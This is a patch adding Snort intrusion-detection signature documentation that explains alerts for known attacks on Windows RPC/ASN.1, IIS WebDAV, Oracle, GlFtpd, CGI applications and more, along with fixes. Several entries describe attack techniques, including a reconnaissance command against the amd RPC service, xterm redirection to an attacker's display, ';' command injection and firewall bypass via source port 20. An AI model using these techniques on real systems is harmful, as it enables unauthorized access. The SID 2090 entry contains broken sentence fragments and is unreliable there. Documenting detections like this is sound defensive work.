+
+--
+Sid:
+2384
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3407.txt
+++ snort-2.8.5.2/doc/signatures/3407.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3407
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/859.txt
+++ snort-2.8.5.2/doc/signatures/859.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+859
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2700.txt
+++ snort-2.8.5.2/doc/signatures/2700.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+2700
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure numtoyminterval.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1363.txt
+++ snort-2.8.5.2/doc/signatures/1363.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 1363
+
+-- 
+Summary: 
+This event is generated when execution of a common X Window system command is attempted via HTTP.
+
+-- 
+Impact: 
+The attacker may be able to initiate an X session on the web server.
+
+-- 
+Detailed Information: 
+This rule generates an event when an X Windows system command command is used with a parameter to set the display location over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. 
+
+The "display" parameter is used to specify an address for the X server to listen for connections. 
+
+The rule looks for the "display" parameter in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the parameter in the URL indicates that an attacker attempted to trick the web server into executing a system command in non-interactive mode i.e. without a valid shell session. 
+
+This rule may also generate an event if it detects this command in an unencrypted HTTP tunneling connection to the server or a shell connection through an exploit of the web server.
+
+-- 
+Attack Scenarios: 
+An attacker launches an "xterm" as the web server user and points it to his machine via the 'display" parameter.
+
+--
+Ease of Attack:
+Simple, no exploit software required
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action:
+Webservers should not be allowed to view or execute files and binaries outside of its designated web root or cgi-bin.
+
+This command may also be requested on a command line should the attacker gain access to the machine. 
+
+Non-essential binaries should be removed from a webserver once it is in production.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/503.txt
+++ snort-2.8.5.2/doc/signatures/503.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+503
+
+--
+Summary:
+This event is generated when possible non-legitimate traffic is detected
+that should not be allowed through a firewall.
+
+--
+Impact:
+This can be used to pass through a poorly configured firewall.
+
+--
+Detailed Information:
+Traffic from port 20 is normally FTP traffic.  Commands are passed to an
+FTP server over port 21.  In order to download files, a client tells the
+FTP server to connect to the client on port 'X' where 'X' is a port 
+above 1023.  The FTP server then connects to the client on the given 
+port using the source port of 20.  Ports below 1024 are privileged, a 
+legitimate connection from an ftp server should always be to a port 
+above 1023.  Some misconfigured firewalls may blindly allow connections 
+to any port from a source port of 20.
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+An attacker could use a source port of 20 for TCP connections to bypass 
+a poorly configured firewall.  
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Connections from port 20 should only be allowed to ports >=1024.  A 
+better solution would be block this traffic entirely and force FTP 
+clients inside the firewall to use PASV mode.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS06
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1921.txt
+++ snort-2.8.5.2/doc/signatures/1921.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+
+Sid:
+1921
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability associated with the GlFtpd ZIPCHK command that may permit
+the execution of arbitrary commands with the privileges of the process
+running GlFtpd.
+
+--
+Impact:
+Remote access.  A successful attack may permit the execution of
+arbitrary commands with the privileges of GlFtpd on the vulnerable
+server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a
+vulnerability associated with the ZIPCHK command of the GlFtpd server. 
+GlFtpd provides FTP software for UNIX hosts.  The ZIPCHK command
+supplies integrity checking of a downloaded ZIP file.  The file name
+supplied with the ZIPCHK is not scrutinized to determine if it is a
+valid name.  An attacker can supply a UNIX command with the character
+";" in the argument to the ZIPCHK command, causing the execution of the
+command with the privileges of the process running GlFtpd.
+
+--
+Affected Systems:
+	GlFtpd 1.17.2. 
+
+--
+Attack Scenarios:
+An attacker can remotely execute arbitrary commands on the vulnerable
+server.
+
+--
+Ease of Attack:
+Simple. Exploits code exists.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1109.txt
+++ snort-2.8.5.2/doc/signatures/1109.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1109
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000342.txt
+++ snort-2.8.5.2/doc/signatures/100000342.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000342
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DoceboLMS" application running on a webserver. Access to the file "business.php" using a remote file being passed as the "lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lang" parameter in the "business.php" script used by the "DoceboLMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DoceboLMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1556.txt
+++ snort-2.8.5.2/doc/signatures/1556.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1556
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1557.txt
+++ snort-2.8.5.2/doc/signatures/1557.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1557
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/808.txt
+++ snort-2.8.5.2/doc/signatures/808.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+808
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1127.txt
+++ snort-2.8.5.2/doc/signatures/1127.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1127
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1582.txt
+++ snort-2.8.5.2/doc/signatures/1582.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1582
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2380.txt
+++ snort-2.8.5.2/doc/signatures/2380.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2380
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2090.txt
+++ snort-2.8.5.2/doc/signatures/2090.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2090
+
+--
+Summary:
+servers is used.
+
+--
+Impact:
+System compromise, web site defacement, loss of data, execution of code.
+
+--
+Detailed Information:
+A vulnerability exists in a component used by the Microsoft Internet 
+Information Server 5.0 implementation of WebDAV. A specially crafted 
+overly long URI when processed by the server, triggers a buffer overflow
+in ntdll.dll which results in a system compromise of the targeted host.
+
+The exploit only affects versions of IIS 5.0 running on Microsoft 
+Windows 2000 prior to service pack 3. WebDAV is enabled by default on 
+that platform.
+
+used against a target server.
+
+--
+Affected Systems:
+Microsoft Internet Information Server 5.0 WebDAV on Windows 2000 prior 
+to Service Pack 3.
+
+--
+Attack Scenarios:
+The attacker is using a publicly available exploit script.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch or service pack.
+
+Disable WebDAV services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-09.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109
+
+Bugtraq:
+http://www.securityfocus.com/bid/7116
+
+Microsoft Corporation:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-007.asp
+http://www.microsoft.com/security/security_bulletins/ms03-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1953.txt
+++ snort-2.8.5.2/doc/signatures/1953.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1953
+
+--
+Summary:
+This event is generated when a request is made to discover the Process ID (PID) of the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the PID associated with amd.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its PID.  Learning the PID may help an attacker guess a range of likely PIDs associated with other running services that are either started before or after amd.  This may facilitate an attack against other running processes.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the PID associated with amd.  This information may be used to attack other running processes if the attacker has some means of access to the target host. 
+
+--
+Ease of Attack:
+Simple. Execute the command 'amq -p -T -h hostname/IP'.
+  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/979.txt
+++ snort-2.8.5.2/doc/signatures/979.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+979
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross-site scripting vulnerability associated with a file having a .htw extension.
+
+--
+Impact:
+Cross-site scripting.  This attack may allow the execution of arbitrary commands on a victim host that visits a vulnerable server.
+
+--
+Detailed Information:
+The Microsoft Indexing Service is vulnerable to a cross-site scripting exploit because of a failure to properly filter user input associated with files with a .htw extension.  This vulnerability is associated with Indexing Service component (CiWebHitsFile). This may allow an attacker to execute abitrary code on the victim host that visits the vulnerable server.
+
+--
+
+Affected Systems:
+Microsoft Indexing Services for Windows NT 4.0 and Windows 2000
+
+
+--
+Attack Scenarios:
+An attacker can inject malicious code in a vulernable server.  This may allow execution of arbitrary code on the victim host that visits the vulnerable server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch discussed in the referenced Microsoft Bulletin.
+ 
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1861
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0942
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-084.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000345.txt
+++ snort-2.8.5.2/doc/signatures/100000345.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000345
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SocketMail" application running on a webserver. Access to the file "inc-common.php" using a remote file being passed as the "site_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "site_path" parameter in the "inc-common.php" script used by the "SocketMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SocketMail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/390.txt
+++ snort-2.8.5.2/doc/signatures/390.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+390
+
+--
+
+Summary:
+This event is generated when an ICMP Alternate Host Address datagram is detected on the network.  This ICMP Type is not documented in an RFC, but may be implemented by routing equipment to direct hosts to the correct IP address or neighboring hosts.
+
+--
+
+Impact:
+This ICMP Type is not implemented in most standard operating systems and is a potential indication of information gathering activities.
+
+--
+
+Detailed Information:
+ICMP Type 6 (Alternate Host Address)  is not defined in an RFC and should not be considered legitimate network traffic.  
+
+--
+
+Attack Scenarios:
+Attackers may use this ICMP Type to gather information about the network.
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Alternate Host Address datagrams.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 6 datagrams should be blocked at the firewall.
+
+--
+
+Contributors:
+Original Rule wirter unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
